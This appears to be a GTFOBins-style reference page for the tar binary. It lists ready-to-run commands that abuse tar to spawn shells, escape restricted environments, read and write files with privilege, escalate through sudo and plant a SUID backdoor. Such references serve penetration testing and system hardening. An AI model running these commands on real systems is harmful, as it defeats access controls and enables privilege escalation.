.. / tar

Star

• Shell
• File write
• File read
• Sudo
• Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

• This only works for GNU tar.

  tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'

• This only works for GNU tar. It can be useful when only a limited command argument injection is available.

  TF=$(mktemp)
  echo '/bin/sh 0<&1' > "$TF"
  tar cf "$TF.tar" "$TF"
  tar xf "$TF.tar" --to-command sh
  rm "$TF"*

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• This only works for GNU tar.

  LFILE=file_to_write
  TF=$(mktemp)
  echo DATA > "$TF"
  tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• This only works for GNU tar.

  LFILE=file_to_read
  tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which tar) .; chmod +s ./tar'
  
  ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh